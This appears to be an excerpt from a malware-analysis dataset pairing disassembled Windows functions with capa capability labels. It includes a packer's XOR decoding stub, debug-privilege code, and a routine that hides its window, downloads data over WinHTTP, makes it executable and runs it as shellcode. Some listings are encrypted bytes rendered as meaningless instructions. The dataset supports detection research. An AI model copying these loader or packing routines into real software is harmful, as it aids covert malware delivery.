joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43d185
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x455e64]
push esi
mov esi, ecx
cmp dword [esi + 0x50], 0
mov dword [ebp - 4], eax
je 0x43d1d2
push dword [ebp + 8]
call fcn.0043eed2
mov esi, eax
test esi, esi
je 0x43d1fa
push edi
push 4
lea eax, [ebp + 0x10]
push eax
push 4
push 0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test edi, edi
sete al
pop edi
jmp 0x43d1fa
push dword [ebp + 0x10]
lea eax, [ebp - 0x14]
push 0x444d98
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push dword [esi + 0x64]
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [ebp - 4]
pop esi
call fcn.00427501
leave
ret 0xc

Function at 0x43dafe
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
cmp dword [ebp + 0xc], 0x800
mov eax, dword [0x455e64]
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
jne 0x43db5c
push 0x445d5c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
mov esi, 0x112
lea eax, [ebp - 0x118]
push esi
push eax
call fcn.0042898d
add esp, 0x10
cmp eax, 0xffffffff
je 0x43db70
cmp eax, esi
jae 0x43db70
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x43db72
push 4
push eax
push 3
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x43db27
jmp 0x43db73
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
call fcn.00427501
leave
ret
Function at 0x43db93
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x455e64]
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor ebx, ebx
push str.kernel32.dll
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], ebx
xor esi, esi
call edi
push str.GetUserDefaultUILanguage
push eax
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x43dc35
call eax
mov esi, dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
mov ebx, 0x3ff
mov edi, 0xfc00
mov dword [ebp - 0x18], eax
movzx eax, ax
mov ecx, eax
and ecx, ebx
movzx ecx, cx
and eax, edi
or eax, ecx
push eax
mov dword [ebp - 0x1c], ecx
call esi
push dword [ebp - 0x1c]
mov dword [ebp - 0x3c], eax
call esi
push str.GetSystemDefaultUILanguage
push dword [ebp - 0x20]
mov dword [ebp - 0x38], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
mov dword [ebp - 0x18], eax
movzx eax, ax
mov ecx, eax
and ecx, ebx
movzx ebx, cx
and eax, edi
or eax, ebx
push eax
call esi
push ebx
mov dword [ebp - 0x34], eax
call esi
mov dword [ebp - 0x30], eax
push 4
xor ebx, ebx
jmp 0x43dd37
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, eax
jns 0x43dce5
lea eax, [ebp - 0x1c]
push eax
push 0x20019
push ebx
push str.Control_PanelDesktopResourceLocale
push SysReAllocString
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x43dd38
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
push ebx
push ebx
push dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x10
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x43dcda
cmp dword [ebp - 0x24], 1
jne 0x43dcda
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x14]
push 0x445d6c
push eax
call fcn.00428aeb
add esp, 0xc
cmp eax, 1
jne 0x43dcda
mov eax, dword [ebp - 0x28]
mov esi, dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
mov dword [ebp - 0x18], eax
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
movzx edi, cx
and eax, 0xfc00
or eax, edi
push eax
call esi
push edi
mov dword [ebp - 0x3c], eax
call esi
push 2
mov dword [ebp - 0x38], eax
pop esi
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x43dd38
push str.ntdll.dll
call edi
cmp eax, ebx
je 0x43dd38
lea ecx, [ebp - 0x18]
push ecx
push 0x43db7d
push 1
push 0x10
push eax
mov dword [ebp - 0x18], ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceLanguagesA]
cmp word [ebp - 0x18], bx
je 0x43dd38
movzx eax, word [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
mov ecx, eax
and ecx, 0x3ff
movzx edi, cx
and eax, 0xfc00
or eax, edi
push eax
call esi
push edi
mov dword [ebp - 0x3c], eax
call esi
mov dword [ebp - 0x38], eax
push 2
pop esi
mov dword [ebp + esi*4 - 0x3c], 0x800
inc esi
xor edi, edi
cmp esi, ebx
jle 0x43dd5e
push dword [ebp + edi*4 - 0x3c]
push dword [ebp + 8]
call fcn.0043dafe
cmp eax, ebx
pop ecx
pop ecx
jne 0x43dd60
inc edi
cmp edi, esi
jl 0x43dd47
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.00427501
leave
ret 4
Function at 0x43dd6f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
xor edi, edi
mov dword [ecx + 0x9c], edi
cmp dword [str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer], edi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], 4
mov dword [ebp - 0xc], edi
mov ebx, 0x454eb4
je 0x43de2b
push esi
lea eax, [ebp - 4]
push eax
push 1
push edi
push dword [ebx]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x43de13
mov esi, dword [ebx + 4]
jmp 0x43de0d
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0xc]
push ecx
push edi
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x43ddfd
cmp dword [ebp - 0xc], 4
jne 0x43ddfd
cmp dword [ebp - 8], edi
mov eax, dword [ebp - 0x10]
mov ecx, dword [esi + 4]
je 0x43ddf5
or dword [eax + 0x9c], ecx
jmp 0x43ddfd
not ecx
and dword [eax + 0x9c], ecx
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], 4
mov dword [ebp - 0xc], edi
add esi, 8
mov eax, dword [esi]
cmp eax, edi
jne 0x43ddc1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add ebx, 8
cmp dword [ebx], edi
mov dword [ebp - 4], edi
jne 0x43dda4
pop esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
inc eax
pop ebx
leave
ret

Function at 0x43e219
Capabilities:
Query or enumerate registry key

Disassembly:
mov eax, 0x4424ee
call fcn.00428b20
sub esp, 0x11c
mov eax, dword [0x455e64]
push ebx
push esi
push edi
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x124]
push ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, eax
test esi, esi
jne 0x43e312
push 0x104
lea eax, [ebp - 0x11c]
push eax
push 0
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov esi, eax
test esi, esi
jne 0x43e2e6
and dword [ebp - 4], eax
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x120]
call fcn.00402240
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x124]
mov byte [ebp - 4], 1
call fcn.0043e219
mov ecx, dword [ebp - 0x120]
mov esi, eax
test esi, esi
setne bl
add ecx, 0xfffffff0
mov byte [ebp - 4], 0
call fcn.00401b10
test bl, bl
jne 0x43e2e6
or dword [ebp - 4], 0xffffffff
jmp 0x43e257
cmp esi, 0x103
je 0x43e2f6
cmp esi, 0x3f2
jne 0x43e306
mov eax, dword [ebp + 0xc]
push dword [eax]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
mov eax, esi
call fcn.00427501
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x43f542
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [esp + 0x10]
test edi, edi
jle 0x43f577
cmp edi, dword [esi + 0xc]
jge 0x43f577
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x43f577
cmp edi, dword [eax + 8]
jge 0x43f577
mov eax, dword [eax + 0xc]
mov edi, dword [eax + edi*4]
jmp 0x43f579
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, edi
pop edi
pop esi
pop ebx
ret 4

Function at 0x43f684
Capabilities:
Allocate thread local storage

Disassembly:
xor eax, eax
push esi
mov esi, ecx
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x18], 4
mov dword [esi + 4], eax
mov dword [esi + 8], 1
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [esi], eax
jne 0x43f6b8
jmp fcn.00434803
lea eax, [esi + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, esi
pop esi
ret

Function at 0x43f729
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea esi, [edi + 0x1c]
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp + 8]
xor ebx, ebx
cmp eax, ebx
jle 0x43f822
cmp eax, dword [edi + 0xc]
jge 0x43f822
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
cmp esi, ebx
je 0x43f77a
mov ecx, dword [ebp + 8]
cmp ecx, dword [esi + 8]
jl 0x43f80b
cmp dword [ebp + 0xc], ebx
je 0x43f80b
jmp 0x43f7a4
push 0x10
call fcn.0043f40e
cmp eax, ebx
je 0x43f790
mov ecx, eax
call fcn.0043f67b
mov esi, eax
jmp 0x43f792
xor esi, esi
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov ecx, dword [edi + 0x14]
mov eax, dword [edi + 0x18]
mov dword [esi + eax], ecx
mov dword [edi + 0x14], esi
mov eax, dword [esi + 0xc]
cmp eax, ebx
jne 0x43f7bb
mov eax, dword [edi + 0xc]
shl eax, 2
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x43f7cb
mov ecx, dword [edi + 0xc]
push 2
shl ecx, 2
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
cmp eax, ebx
jne 0x43f7dd
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call fcn.00434803
mov ecx, dword [esi + 8]
mov dword [esi + 0xc], eax
mov edx, dword [edi + 0xc]
sub edx, ecx
shl edx, 2
push edx
lea eax, [eax + ecx*4]
push ebx
push eax
call fcn.00428f40
mov eax, dword [edi + 0xc]
add esp, 0xc
push esi
mov dword [esi + 8], eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov ecx, dword [ebp + 8]
mov eax, dword [esi + 0xc]
cmp eax, ebx
je 0x43f81d
cmp ecx, dword [esi + 8]
jge 0x43f81d
mov edx, dword [ebp + 0xc]
mov dword [eax + ecx*4], edx
push dword [ebp - 4]
jmp 0x43f823
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x43f8e1
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x43f90f
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x43f92d
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0043f84b
jmp 0x43f92d
mov eax, dword [esi + 0x14]
test eax, eax
je 0x43f92d
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.0043f84b
test edi, edi
mov eax, edi
jne 0x43f917
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x56a314]
test ecx, ecx
je 0x43f9e0
jmp 0x43f8e0
ret 8
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219

Function at 0x5aedf6
Capabilities:
Encode data using xor

Disassembly:
or eax, 0x39ac0fae
fmul qword [eax + 0x78]
pop ebp
in eax, dx
and ecx, esi
in al, dx
mov ch, 0x9e
sbb dl, byte [ebx - 0x66]
in eax, 0xfe
push ebp
adc ebx, dword [eax + 0x41]
mov dh, 0x6f
xor byte [esi], bh
cmp bl, byte [eax - 0x5c2c5239]
std
lodsd eax, dword [esi]
mov dword [0x5364663c], eax
add ebp, dword [eax - 0x7cd4174e]
push edi
int1
cmp bl, 0x63
sti
rol byte [edx + edx*2 + 0x7c], 1
or eax, 0x338c84f4
out dx, eax
sbb cl, bh
nop
mov cl, 0xae
scasb al, byte es:[edi]
scasb al, byte es:[edi]
jbe 0x5aee60
xor dword [eax + ebp*2 - 0x6116c96c], edx
add al, 0x7c
cdq
lodsb al, byte [esi]
jbe 0x5aee12
and dword [ebx], edi
mov dword [0x9307f21d], eax
out dx, eax
xchg edx, eax
push 0xa7234a5a
jg 0x5aedb3
and esp, dword [edi + 0x4c679d7f]
dec esp
lodsb al, byte es:[esi]
pop ss
xchg ebx, eax
pop ds
invalid
pop es
mov cl, 0xcb
mov bh, 0xd9
inc edx
mov esi, 0x74573ba6
stosb byte es:[edi], al
in eax, dx
adc dword [esi - 0x1aea5a37], esp
sbb dword [ecx], 0x78
dec ecx
pop esi
invalid

Function at 0x76f426
Capabilities:
Encode data using xor

Disassembly:
out 0x80, al
lodsb al, byte [esi]
add esi, ebp
cmc
cmova eax, dword [esi + 0x1c008fb2]
ja 0x76f42a
and eax, 0x4fca3d7f
pushal
push edi
adc byte [bp + si + 0x70], al
mov dword [eax], esi
fstp qword [ebx]
stc
cmp bh, byte [edi]
sub al, 0x3e
fsubrp st(7)
mov edx, 0xd0ca307f
cmp edx, ebp
sub byte [ebp + 0x34], dl
and edx, dword [esi]
sar byte [ebx], 1
aad 0x28
push ebp
xor al, 0x23
push ss
mov ecx, 0x30fe5b7b
pop edx
push 0x55
and ecx, dword [eax - 0x6c]
mov dl, 0xd0
loope 0x76f44f
sal dword [edi], cl
push esi
xchg edx, eax
fcmovbe st(0), st(6)
rcl dword [eax]
int 0x10
xor dh, byte [edx + 0x34]
salc
or ebx, eax
xchg esp, eax
dec edx
aam 0x34
fidivr word [ebx - 0x6131a3bc]
hlt
Function at 0x410c70
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x4025e6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x70
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x14], 0x401f20
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov dword [ebp - 4], 2
push 0xffffffffffffffff
call dword [sym.imp.MSVBVM60.DLL___vbaOnError]
mov dword [ebp - 4], 3
call fcn.00404fd8
mov dword [ebp - 0x6c], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
lea eax, [ebp - 0x64]
push eax
push 0x28
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.00405038
mov dword [ebp - 0x70], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
xor edx, edx
cmp dword [ebp - 0x70], 0
setne dl
neg edx
movsx eax, dx
test eax, eax
je 0x410e25
mov dword [ebp - 4], 4
xor ecx, ecx
test ecx, ecx
je 0x410d46
mov dword [ebp - 4], 6
mov dword [ebp - 0x6c], 0x1c
lea edx, [ebp - 0x6c]
push edx
lea eax, [ebp - 0x3c]
push eax
push 0x1c
lea ecx, [ebp - 0x60]
push ecx
push 0
mov edx, dword [ebp - 0x64]
push edx
call fcn.00405088
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
jmp 0x410e25
mov dword [ebp - 4], 9
lea eax, [ebp - 0x44]
push eax
push 0x404ae4
lea ecx, [ebp - 0x68]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 0
call fcn.004050e8
mov dword [ebp - 0x6c], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
xor edx, edx
cmp dword [ebp - 0x6c], 0
setne dl
neg edx
mov word [ebp - 0x74], dx
lea ecx, [ebp - 0x68]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
movsx eax, word [ebp - 0x74]
test eax, eax
je 0x410e25
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x60], 1
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x74], 0
cmp dword [ebp - 0x74], 2
jae 0x410dc3
mov dword [ebp - 0x8c], 0
jmp 0x410dcf
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
mov dword [ebp - 0x8c], eax
lea ecx, [ebp - 0x44]
push ecx
mov edx, dword [ebp - 0x74]
imul edx, edx, 0xc
lea eax, [ebp + edx - 0x5c]
push eax
push 8
call dword [sym.imp.MSVBVM60.DLL___vbaCopyBytes]
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x74], 0
cmp dword [ebp - 0x74], 2
jae 0x410e06
mov dword [ebp - 0x90], 0
jmp 0x410e12
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0x74]
imul ecx, ecx, 0xc
mov dword [ebp + ecx - 0x54], 2
jmp 0x410d14
mov dword [ebp - 4], 0x11
mov edx, dword [ebp - 0x64]
push edx
call fcn.00404e50
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
push 0x410e4d
jmp 0x410e4c
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x4012a0
Capabilities:
Receive http response

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [0x41c004]
xor eax, esp
mov dword [esp + 8], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [esp + 4]
push esi
push edi
push eax
push ebx
mov esi, edx
mov dword [esp + 0x14], 0
mov edi, ecx
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x4012ea
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Error__u_in_checking_bytes_left_n
call fcn.00401010
add esp, 8
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x401318
push esi
push 0x41a864
mov dword [0x41d398], esi
call fcn.00401010
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.00401675
mov esp, ebp
pop ebp
ret
push eax
push esi
push 0x41a878
call fcn.00401010
mov edx, dword [edi]
add esp, 0xc
mov eax, dword [esp + 0xc]
xor ecx, ecx
test edx, edx
jne 0x40135b
add eax, 1
setb cl
neg ecx
or ecx, eax
push ecx
call fcn.00406957
mov ecx, dword [esp + 0x10]
add esp, 4
inc ecx
mov dword [edi], eax
push ecx
push 0
push eax
call fcn.00402580
add esp, 0xc
jmp 0x401383
add eax, esi
add eax, 1
setb cl
neg ecx
or ecx, eax
push ecx
push edx
call fcn.004045fc
mov ecx, dword [esp + 0x14]
inc ecx
mov dword [edi], eax
push ecx
add eax, esi
push 0
push eax
call fcn.00402580
add esp, 0x14
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x10]
mov eax, dword [edi]
add eax, esi
push eax
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x4013b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Error__u_in_WinHttpReadData._n
call fcn.00401010
add esp, 8
mov edx, dword [esp + 0xc]
mov ecx, edi
push ebx
lea edx, [esi + edx]
call fcn.004012a0
mov ecx, dword [esp + 0x18]
add esp, 4
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401675
mov esp, ebp
pop ebp
ret
Function at 0x4013e0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x41c004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor esi, esi
movzx eax, dx
push esi
push esi
push esi
push esi
mov dword [ebp - 0xc], eax
xor edi, edi
mov eax, dword [ebp + 8]
push str.orca_1.0
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov ebx, eax
test ebx, ebx
je 0x4014d8
push esi
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov edi, eax
test edi, edi
je 0x4014d8
mov edx, str.https
mov ecx, str.pllh
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x401464
test al, al
je 0x401460
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x401464
add ecx, 2
add edx, 2
test al, al
jne 0x401444
xor ecx, ecx
jmp 0x401469
sbb ecx, ecx
or ecx, 1
xor eax, eax
mov edx, 0x800000
test ecx, ecx
cmove eax, edx
push eax
push 0
push 0
push 0
push dword [ebp - 0x14]
push 0x41a8dc
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov esi, eax
test esi, esi
je 0x4014e5
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x4014f2
push 0
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x401506
push 0x41a924
call fcn.00401010
push esi
xor edx, edx
lea ecx, [ebp - 8]
call fcn.004012a0
add esp, 8
push esi
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call esi
jmp 0x40152f
push str.____Failed_to_connect_to_server_n
call fcn.00401010
add esp, 4
push str.____Failed_to_connect_to_server_n
call fcn.00401010
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Error__d_has_occurred._n
call fcn.00401010
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Error__d_has_occurred._n
call fcn.00401010
add esp, 8
test esi, esi
je 0x401529
push esi
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call esi
jmp 0x40152f
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test edi, edi
je 0x401536
push edi
call esi
test ebx, ebx
je 0x40153d
push ebx
call esi
push 0x41a940
call fcn.00401010
mov ecx, dword [ebp - 4]
add esp, 4
mov eax, dword [ebp - 8]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00401675
mov esp, ebp
pop ebp
ret
Function at 0x401560
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x41c004]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x401583
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.00401050
push str..___
mov dword [ebp - 0xc], 0
call fcn.00406630
mov ecx, str.__6_._6__6___
mov dword [ebp - 0x10], eax
add esp, 4
mov dword [ebp - 8], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4015b0
sub ecx, edx
mov edx, 2
push ebx
push esi
push edi
lea esi, [ecx + 1]
xor ecx, ecx
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00406957
push 0xffffffffffffffff
push str.__6_._6__6___
mov ebx, eax
lea eax, [ebp - 8]
push esi
push ebx
push eax
call fcn.0040691a
mov edi, str.qtk7________6zqv
mov dword [ebp - 8], 0
add esp, 0x18
lea ecx, [edi + 1]
nop dword [eax]
mov al, byte [edi]
inc edi
test al, al
jne 0x401600
sub edi, ecx
mov edx, 2
inc edi
xor ecx, ecx
mov eax, edi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00406957
push 0xffffffffffffffff
push str.qtk7________6zqv
mov esi, eax
lea eax, [ebp - 8]
push edi
push esi
push eax
call fcn.0040691a
mov edx, dword [ebp - 0x10]
add esp, 0x14
mov ecx, ebx
push esi
call fcn.004013e0
add esp, 8
mov esi, eax
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [0x41d398]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x401662
call esi
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401675
mov esp, ebp
pop ebp
ret

Function at 0x4082e4
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4165b0
push 0x4165a8
push str.FlsAlloc
push 0x1e
call fcn.004081a5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408318
push dword [ebp + 8]
mov ecx, esi
call dword [0x415144]
call esi
jmp 0x40831e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x408362
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4165c0
push 0x4165b8
push str.FlsGetValue
push 0x20
call fcn.004081a5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408399
push dword [ebp + 8]
mov ecx, esi
call dword [0x415144]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]